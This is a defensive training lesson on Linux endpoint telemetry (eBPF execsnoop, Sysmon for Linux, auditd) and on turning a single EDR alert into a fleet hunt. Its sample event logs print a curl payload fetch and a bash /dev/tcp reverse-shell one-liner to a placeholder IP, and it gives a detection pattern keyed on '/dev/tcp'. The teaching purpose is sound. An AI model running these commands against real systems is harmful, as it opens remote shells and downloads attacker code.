Endpoint Telemetry & Live Response at Scale
- Explain why fleet-scale response depends on continuous telemetry rather than hand-triaging each host
- Distinguish the major Linux telemetry sources — the audit subsystem, eBPF tooling, Sysmon for Linux, and process accounting — by what each can and cannot see
- Read an eBPF execsnoop event and a Sysmon-for-Linux ProcessCreate record and say what they capture that a point-in-time ps misses
- Describe the analyst workflow of pivoting from a single EDR alert into raw telemetry and then into a fleet-wide hunt
Why telemetry, when you already have ps
Reframe response from a single live snapshot to a continuous recording across a whole fleet.
In the process-forensics lesson you triaged one suspicious host with
ps,ss, andlsof. That works beautifully — on one box, while the threat is still running. Now scale the problem up. You are responsible for four thousand Linux hosts and an alert fires at 3 a.m. naming a host you have never heard of. By the time you SSH in, the malicious process has done its work and exited.psshows you nothing: you are photographing an empty room.This is the gap endpoint telemetry fills. Instead of asking a host "what is running right now?", telemetry continuously records the events themselves as they happen — every process that executes, every file written, every network connection opened, and the parent-child lineage tying them together — and ships them somewhere central. When the alert fires you don't interrogate the host; you query the recording. And because the recording is centralized, the same query runs across all four thousand hosts at once: that is hunting at scale.
Think of point-in-time triage as a single photograph and telemetry as the continuous CCTV recording. A photo of an empty corridor tells you nothing. The recording catches the intruder who walked through twenty minutes ago, shows which door they came from, and — because every camera in the building feeds one control room — lets you ask "where else in the building did this person appear?"
Check yourself
An alert says a host ran a suspicious binary an hour ago. You SSH in and
ps auxfshows nothing unusual. Why is that NOT evidence the host is clean?The Linux telemetry sources, and how they differ
Map the major collection sources so you know which one answers which question.
There is no single "Linux EDR" the way there is one Windows kernel API. Instead, a Linux endpoint agent stitches together several collection sources, each with a different vantage point. Knowing which source feeds your data store tells you what blind spots to expect.
- The audit subsystem (`auditd`) — the kernel's tamper-evident record of syscalls, watched-file access, and logins. It is rule-driven and authoritative for who did what, and it is covered in depth in the auditd lesson — this lesson treats it as one source among several, not the whole story.
- eBPF-based tooling — programs loaded into the kernel that attach to tracepoints, kprobes, and the scheduler to emit events with very low overhead. This is the modern firehose:
bpftrace/bccfor ad-hoc tracing, and agents like Falco and Cilium Tetragon for continuous policy-driven detection. - Sysmon for Linux (`sysmonforlinux`) — Microsoft's port of Sysmon, built on eBPF, that emits structured ProcessCreate, NetworkConnect, FileCreate and similar events into the systemd journal, configured by an XML ruleset. Familiar to Windows responders, schema-stable.
- Process accounting (`acct`/`psacct`) — the old-guard kernel feature that writes one fixed record per process as it exits to
/var/log/account/pacct, read withlastcomm/sa. Lightweight and ubiquitous, but coarse: command name and resource use, no full argv, no network, no rich lineage.
The distinction that matters most: polling versus event-driven.
pspolls — it reads/procat the instant you run it, so anything that lived and died between two polls is invisible. eBPF, audit, and Sysmon are event-driven: the kernel pushes an event the moment a process is created, so nothing falls through the cracks between samples.command -v auditctl bpftrace falco sysmon lastcomm 2>/dev/null/usr/sbin/auditctl /usr/bin/bpftrace /usr/bin/falco
- command -v
- Print the resolved path of each named tool, or nothing if it is not on PATH — a fast inventory of which telemetry tooling a host actually has.
Read it as a coverage map of this host: auditctl(audit subsystem) andbpftrace/falco(eBPF) are present, butsysmonandlastcommprinted nothing, so Sysmon-for-Linux and process accounting are not installed here. On a real estate you would expect the EDR agent's own collector instead — this inventory tells you which raw sources you can fall back to when the agent is blind or you doubt it.Check yourself
A short-lived process lives and dies between two
pssamples and never appears. Which class of telemetry source — polling or event-driven — is designed to catch it?The eBPF firehose: reading an execsnoop event
Read a live process-execution event and the kernel gate that controls eBPF.
eBPF lets you run a small, verified program inside the kernel that fires on an event and hands a record back to user space — no polling, no kernel module to compile, minimal overhead. The classic worked example is `execsnoop`: it attaches to process execution and prints one line per
execveacross the whole system, in real time. It is the simplest possible demonstration of the firehose, and exactly the signal an EDR's process-create collector is built on.Run
execsnoop-bpfcc(the bcc tool) and in another terminal someone runs a command — even one that finishes instantly — and you see it appear.Example — not runnable on your lab box
sudo execsnoop-bpfccPCOMM PID PPID RET ARGS bash 4120 4118 0 /usr/bin/bash curl 4131 4120 0 /usr/bin/curl -s http://198.51.100.55/s.sh sh 4132 4120 0 /bin/sh -c bash -i >& /dev/tcp/198.51.100.55/443 0>&1 rm 4137 4132 0 /usr/bin/rm -f /tmp/s.sh
- execsnoop-bpfcc
- A bcc/eBPF tool that attaches to the exec tracepoint and prints one row per process execution system-wide, as it happens.
Every row is a process that ran, captured at the moment of execve— including ones that exited milliseconds later. PPID ties each to its parent:bash(4120) spawnedcurl(4131) to pull a script from an external IP, thensh(4132) opened a reverse shell to198.51.100.55:443via the/dev/tcptrick, thenrm(4137, child of thatsh) deleted the dropped file to clean up. That whole kill-chain — fetch, execute, beacon, self-clean — is reconstructed from lineage, and none of it would survive to a later `ps`: by the time you logged in,curlandrmare long gone and the room is empty.cat /proc/sys/kernel/perf_event_paranoid 2>/dev/null2
eBPF tracing is gated by the kernel. perf_event_paranoidcontrols how much unprivileged users may trace: lower is more permissive (-1/0allow broad tracing), higher locks it down. A value of2(a common default) means you need root / `CAP_BPF`+`CAP_PERFMON` to load most tracing programs — which is exactly whyexecsnoop-bpfccabove was run withsudo. If this file is missing or the kernel lacks BTF/BPF support, the eBPF source is simply unavailable on that host.Check yourself
Which telemetry source catches a 200ms
curlthat fetched a payload and exited — activity that a laterpswould entirely miss? (eBPF, EDR, or telemetry all answer this.)Structured events: Sysmon for Linux
Read a structured ProcessCreate record and find it in the journal.
execsnoopis great for an ad-hoc look, but a real pipeline needs structured, schema-stable events that a SIEM can parse the same way every time. Sysmon for Linux provides exactly that. Built on eBPF, driven by an XML config, it emits typed events — ProcessCreate (Event ID 1), NetworkConnect (Event ID 3), FileCreate (Event ID 11) and more — into the systemd journal under thesysmonidentifier. Wherepsgives you a process name, a ProcessCreate record gives you the full command line, the resolved image path, the parent image and command line, the user, and a hash — a complete, query-shaped story of one execution.journalctl -g sysmon --no-pager 2>/dev/null | tailJun 24 03:11:47 web07 sysmon[931]: ProcessCreate: RuleName: reverse_shell_indicator UtcTime: 2026-06-24 03:11:47.882 ProcessId: 4132 Image: /bin/sh CommandLine: sh -c bash -i >& /dev/tcp/198.51.100.55/443 0>&1 User: www-data ParentProcessId: 4120 ParentImage: /usr/bin/bash ParentCommandLine: bash ParentUser: www-data
- -g sysmon
- Grep the journal for entries matching 'sysmon' — Sysmon for Linux logs under that identifier.
- --no-pager
- Print straight to stdout instead of opening a pager, so the output is scriptable and pipeable.
This is the same reverse shell from the eBPF view, now as a structured ProcessCreate. The fields are the responder's gold: CommandLineshows the exact reverse-shell one-liner,Image/ParentImagegive the full lineage (/bin/shspawned by/usr/bin/bash), andUser: www-datareveals the web-server account — pointing straight at a webshell as the entry vector. Because every record carries the same named fields, a SIEM rule likeCommandLinecontaining/dev/tcpfires identically on every host in the fleet.Check yourself
What does a Sysmon-for-Linux ProcessCreate record give a responder that a bare process name from
psdoes not?What telemetry captures that triage misses
Name the three things continuous recording recovers that a snapshot cannot.
Step back from the tools and look at what kind of evidence telemetry recovers that point-in-time triage structurally cannot. There are three, and an attacker's playbook targets all of them.
- The process that already exited. A dropper runs, fetches a payload, and exits in seconds.
psnever sees it; the exec event is recorded forever. - The parent that spawned the shell and died. Lineage is the strongest single signal in intrusion detection —
nginxspawningbashspawningsh -c "...|sh"is the shape of a webshell. But the parent often exits, and once it does, a livepstree shows the child re-parented to PID 1 (init/systemd), erasing the link. Telemetry recorded the parent at exec time, so the lineage survives the parent's death. - The short-lived beacon. A C2 implant may connect once, send a heartbeat, and close — a connection that exists for milliseconds and will never appear in
ssorlsof. A NetworkConnect event captures it.
The analogy holds all the way down: the CCTV recording shows you the person who walked through and left, the door they came in by (even after that door closed), and the brief handoff in the corner that no still photo would ever freeze.
ls /sys/kernel/debug/tracing 2>/dev/null | head || echo "tracefs not mounted"available_events available_tracers current_tracer events kprobe_events set_event trace trace_pipe
The kernel tracing interface ( tracefs) is where the events eBPF and tracing tools hook into live. Seeingevents/,kprobe_events, andtrace_pipemeans this kernel exposes the machinery — theevents/tree alone lists thousands of tracepoints (sched_process_exec,sys_enter_connect, …) a collector can attach to. If instead you gettracefs not mounted, the host lacks the mounted tracing surface and eBPF-based collection will be limited or unavailable — a coverage gap to note before you trust the telemetry.Check yourself
A
ps auxftree shows a suspicious shell parented to PID 1 (systemd). Why might telemetry still reveal that it was actually spawned by nginx?- The process that already exited. A dropper runs, fetches a payload, and exits in seconds.
Live response at scale: alert to fleet hunt
Walk the analyst workflow from one detection out to a fleet-wide hunt.
Now put it together as a workflow, because at fleet scale you cannot hand-triage every host — you triage the fleet. Two ideas anchor it.
An EDR detection is a starting line, not a finish line. EDRs ship detections: pre-built rules that fire an alert ("reverse shell indicator on web07"). That alert is a tiny, opinionated slice of what happened — one rule's view. Underneath it sits the raw telemetry: every process, file, and network event around that moment. The skill is to treat the alert as a pointer into the recording and pivot to the raw events to learn the full story the rule didn't encode.
A consistent triage set, collected the same way on every host. Rather than improvising on each box, scale response collects a standard artifact set — recent process events, network connections, persistence locations, logged-in users — uniformly across many hosts, so findings are comparable and a hunt query means the same thing everywhere.
The loop in practice:
1. Alert fires on web07 (Sysmon flagged the
/dev/tcpreverse shell).2. Pivot to raw telemetry on web07: pull every event around 03:11 and reconstruct the chain — webshell →
bash→curlpayload → reverse shell →rmcleanup.3. Extract pivots: the C2 IP
198.51.100.55, the payload URL, thewww-dataparent, the command-line pattern.4. Hunt the fleet: run those pivots as one query across all hosts' telemetry — which other hosts connected to that IP, or ran a `/dev/tcp` shell, or have that webshell process tree? That is how one alert becomes the scope of the whole incident.
Check yourself
After an EDR alert flags a reverse shell on one host, what is the key move that turns a single detection into incident-wide scope?
Try it in your live terminal
Inventory this host's telemetry surface yourself — robustly, even where the tooling isn't installed.
You have a real root shell to your right. Fleet-scale telemetry tooling is mostly not installed in this sandbox — that is expected; it arrives with the DFIR lab image. So each command below is safe and inspection-only, and degrades gracefully: it shows real output where a source exists and a clear message where it doesn't. The goal is to make the "what telemetry surface does this host even have?" reflex automatic, since that inventory is the first thing you establish on any unfamiliar box.
command -v bpftrace falco sysmon auditctl 2>/dev/null; echo "(fleet telemetry tooling arrives with the DFIR lab image)"Inventory the collection tooling: each tool that is installed prints its path; the rest print nothing. The trailing note reminds you that an empty result here is the sandbox, not a finding — on a real estate you would be checking for the EDR agent's own collector alongside these raw sources. cat /proc/sys/kernel/perf_event_paranoid 2>/dev/nullRead the eBPF/perf gate. A high value (e.g. 2) or root-only access means tracing needs privilege; a missing file means the kernel may not expose perf events at all. This one number tells you whether eBPF-based collection is even possible on the host before you try to load anything.ls /sys/kernel/debug/tracing 2>/dev/null | head || echo "tracefs not mounted"Check the kernel tracing surface. Seeing events,kprobe_events, andtrace_pipemeans the machinery eBPF tools hook into is present;tracefs not mountedmeans eBPF collection will be limited here — a coverage gap worth recording.journalctl -q -g sysmon --no-pager 2>/dev/null | tail | grep . || echo "no sysmon events"Look for Sysmon-for-Linux structured events in the journal. Where Sysmon is running you would see ProcessCreate/NetworkConnect records; here the fallback no sysmon eventssimply confirms that source isn't present — the same robust check you would run on a real host to decide whether to trust or fall back from the journal.-qdrops journalctl's-- No entries --banner and the trailing| grep .supplies the non-zero exit status the||needs, because a pipeline reports the exit status of its last command andtailsucceeds on empty input.
- Point-in-time triage (
ps/ss/lsof) is a single photograph of one host; telemetry is the continuous, fleet-wide CCTV recording. A clean live snapshot never proves the past was clean. - Telemetry recovers exactly what a snapshot can't: the process that already exited, the parent that spawned a shell and died (lineage survives even after the child re-parents to PID 1), and the short-lived beacon.
- Linux has several sources, not one: the audit subsystem (see the auditd lesson), eBPF tooling (bpftrace/bcc, Falco, Tetragon — the low-overhead event firehose), Sysmon for Linux (structured ProcessCreate/NetworkConnect into the journal), and process accounting (coarse, exit-time records). Event-driven sources beat polling on short-lived activity.
- eBPF needs privilege and kernel support and is gated by perf_event_paranoid; know the fallbacks (audit, process accounting) so an unavailable source means different data, not no data.
- An EDR detection is a starting line: pivot the alert into raw telemetry to reconstruct the chain, extract indicators, then hunt those across the whole fleet. The alert proves the incident exists; the fleet hunt reveals its true size.
| Source | What it captures | Strength / when to reach for it |
|---|---|---|
Audit subsystem (auditd) | Rule-driven syscalls, watched-file access, logins (tamper-evident) | Authoritative 'who did what' proof; covered in depth in the auditd lesson |
eBPF (bpftrace/bcc, Falco, Tetragon) | Live kernel events — exec, connect, file ops — with full argv and lineage | Low-overhead event firehose; catches short-lived activity polling misses (needs privilege + kernel support) |
| Sysmon for Linux | Structured ProcessCreate/NetworkConnect/FileCreate into the journal | Schema-stable, SIEM-ready records; one rule matches identically across the fleet |
Process accounting (acct) | One fixed record per process at exit (command, resource use) | Lightweight and ubiquitous, but coarse — no full argv, network, or rich lineage |
Point-in-time triage (ps/ss/lsof) | What is alive on one host right now | Fast confirmation on a live host; blind to the past and to the rest of the fleet |
